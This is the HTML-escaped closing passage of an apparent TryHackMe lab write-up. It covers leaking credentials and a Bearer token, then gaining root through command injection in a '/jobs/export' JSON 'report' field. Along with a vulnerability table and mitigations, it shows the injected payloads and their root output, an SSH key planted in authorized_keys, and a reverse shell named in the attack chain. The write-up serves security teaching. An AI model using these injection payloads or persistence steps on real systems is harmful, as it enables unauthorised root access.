 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;runs_as&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;root&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;service&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;automation&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ok&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Trying the leaked UCP creds directly against Asterisk AMI (5038) failed - wrong service:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;timeout &lt;/span&gt;5 bash &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;(echo -e &quot;Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n&quot;; sleep 2) | nc 127.0.0.1 5038&#39;&lt;/span&gt;
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  &lt;a name=&quot;getting-into-the-ucp-dashboard&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#getting-into-the-ucp-dashboard&quot;&gt;
  &lt;/a&gt;
  Getting into the UCP dashboard
&lt;/h3&gt;

&lt;p&gt;curl-based scripted logins against &lt;code&gt;http://127.0.0.1:8080/ucp/&lt;/code&gt; (grabbing the CSRF &lt;code&gt;token&lt;/code&gt; from the login form, then POSTing &lt;code&gt;token&lt;/code&gt;/&lt;code&gt;username&lt;/code&gt;/&lt;code&gt;password&lt;/code&gt;) technically returned HTTP 200 each time but never actually authenticated - the response kept showing an empty &lt;code&gt;&amp;lt;h3&amp;gt;Welcome &amp;lt;/h3&amp;gt;&lt;/code&gt; and a fresh, unused login form, and later attempts just hung/timed out entirely. The UCP login flow depends on client-side JS/AJAX behavior that plain curl POSTs don&#39;t reproduce.&lt;/p&gt;

&lt;p&gt;Fix: add an SSH public key to &lt;code&gt;web&lt;/code&gt;&#39;s &lt;code&gt;authorized_keys&lt;/code&gt; (writable as &lt;code&gt;web&lt;/code&gt;) and SSH in directly, then forward the internal port out to a real browser instead of fighting curl:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;ssh-ed25519 AAAA...&amp;lt;REDACTED&amp;gt;... kali@kali&#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;ssh &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; 8080:127.0.0.1:8080 web@&amp;lt;MACHINE_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Browsing to &lt;code&gt;http://127.0.0.1:8080/ucp/&lt;/code&gt; and logging in with &lt;code&gt;FreePBXUCPTemplateCreator&lt;/code&gt; / &lt;code&gt;St4yN0t1c3d_2026&lt;/code&gt; worked immediately through the browser.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;leaking-the-automation-key-through-a-voicemail-cid&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#leaking-the-automation-key-through-a-voicemail-cid&quot;&gt;
  &lt;/a&gt;
  Leaking the automation key through a voicemail CID
&lt;/h3&gt;

&lt;p&gt;Inside UCP, adding a new dashboard tab and a Voicemail widget for the &lt;code&gt;FreePBXUCPTemplateCreator&lt;/code&gt; mailbox surfaced a single voicemail whose Caller ID field had leaked the automation service&#39;s Bearer token:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: &lt;code&gt;&quot;Automation Key cc_auto_7b3f9a1c4e0d2f6a&quot; &amp;lt;9000&amp;gt;&lt;/code&gt; (extension 9000 lines up with the automation service&#39;s port)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is an internal misconfiguration - a caller-ID/name lookup process appears to have templated the automation key straight into the CID name field for calls involving extension 9000, and that field is fully visible to anyone with UCP voicemail access.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;root-via-second-command-injection-automation-service&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#root-via-second-command-injection-automation-service&quot;&gt;
  &lt;/a&gt;
  Root via second command injection (automation service)
&lt;/h3&gt;

&lt;p&gt;With the key in hand, &lt;code&gt;/jobs/export&lt;/code&gt; behaved like the earlier &lt;code&gt;netcheck&lt;/code&gt; endpoint - the &lt;code&gt;report&lt;/code&gt; field gets built into a shell command (&lt;code&gt;tar czf /var/automation/exports/&amp;lt;report&amp;gt;.tgz /var/automation/data ...&lt;/code&gt;) without sanitization, and it runs as root. Breaking out with &lt;code&gt;;&lt;/code&gt; and closing the rest of the line with &lt;code&gt;#&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://127.0.0.1:9000/jobs/export &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;{&quot;report&quot;:&quot;x.tgz /var/automation/data; id #&quot;}&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2&amp;gt;&amp;amp;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;output&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;uid=0(root) gid=0(root) groups=0(root)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tar: Removing leading `/&#39; from member names&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Confirmed root, then read the flag directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://127.0.0.1:9000/jobs/export &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;{&quot;report&quot;:&quot;x.tgz /var/automation/data; cat /root/root.txt #&quot;}&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight json&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2&amp;gt;&amp;amp;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;output&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;THM{tr4c3d_t0_th3_h0r1z0n}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tar: Removing leading `/&#39; from member names&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;root-flag&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#root-flag&quot;&gt;
  &lt;/a&gt;
  Root Flag
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;THM{tr4c3d_t0_th3_h0r1z0n}
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;key-vulnerabilities&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#key-vulnerabilities&quot;&gt;
  &lt;/a&gt;
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Information disclosure via &lt;code&gt;robots.txt&lt;/code&gt; + JS comment&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/robots.txt&lt;/code&gt;, &lt;code&gt;/static/app.js&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Revealed hidden internal staff endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;OS command injection (unsanitized &lt;code&gt;host&lt;/code&gt; param, &lt;code&gt;shell=True&lt;/code&gt; + f-string)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /internal/netcheck&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;web&lt;/code&gt; (uid 1001)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Plaintext credential disclosure via internal API&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;GET /api/config&lt;/code&gt; on Watchtower (127.0.0.1:3000)&lt;/td&gt;
&lt;td&gt;Leaked live FreePBX UCP credentials, explicitly noted as unrotated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Sensitive token leaked into an unrelated UI field (caller ID)&lt;/td&gt;
&lt;td&gt;UCP voicemail Caller ID, extension 9000&lt;/td&gt;
&lt;td&gt;Leaked automation service Bearer token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;OS command injection (unsanitized &lt;code&gt;report&lt;/code&gt; param, root-run service)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;POST /jobs/export&lt;/code&gt; on automation service (127.0.0.1:9000)&lt;/td&gt;
&lt;td&gt;RCE as &lt;code&gt;root&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  &lt;a name=&quot;attack-chain&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#attack-chain&quot;&gt;
  &lt;/a&gt;
  Attack Chain
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;[robots.txt disallow] --&amp;gt; [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;&amp;lt;cmd&amp;gt; to /internal/netcheck] --&amp;gt; [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --&amp;gt; [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --&amp;gt; [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --&amp;gt; [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web&#39;s authorized_keys] --&amp;gt; [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --&amp;gt; [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;&amp;lt;cmd&amp;gt;# to /jobs/export with Bearer key] --&amp;gt; [OS command injection as root]
        |
        v
[root.txt captured]
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h2&gt;
  &lt;a name=&quot;mitigations&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#mitigations&quot;&gt;
  &lt;/a&gt;
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never pass user-supplied input directly into a shell command; use a subprocess call with argument lists (no &lt;code&gt;shell=True&lt;/code&gt;) and validate input against a strict allowlist. Both &lt;code&gt;/internal/netcheck&lt;/code&gt; (&lt;code&gt;host&lt;/code&gt;) and &lt;code&gt;/jobs/export&lt;/code&gt; (&lt;code&gt;report&lt;/code&gt;) need this fix.&lt;/li&gt;
&lt;li&gt;Remove reliance on &lt;code&gt;robots.txt&lt;/code&gt; and client-side JS comments to &quot;hide&quot; internal tooling - enforce authentication/network-level restriction (VPN, IP allowlist, or auth gateway as the code comment itself suggests was planned).&lt;/li&gt;
&lt;li&gt;Never return credentials in plaintext from an internal &quot;status/config&quot; API, even on a loopback-only service - internal-only does not mean untrusted-process-proof once any foothold exists on the host.&lt;/li&gt;
&lt;li&gt;Rotate default/template credentials (the app&#39;s own ops note flagged this and it was never acted on) and avoid shipping template accounts with static, reused passwords.&lt;/li&gt;
&lt;li&gt;Do not template secrets (like the automation Bearer key) into user-visible fields such as caller ID / display name - secrets belong in dedicated secret storage, not in fields designed for human-readable display data.&lt;/li&gt;
&lt;li&gt;Run internal automation services with least privilege - the &lt;code&gt;/jobs/export&lt;/code&gt; service should not run as root; a dedicated low-privilege service account with only the file/archive permissions it needs would have contained this to a much smaller blast radius.&lt;/li&gt;
&lt;/ul&gt;


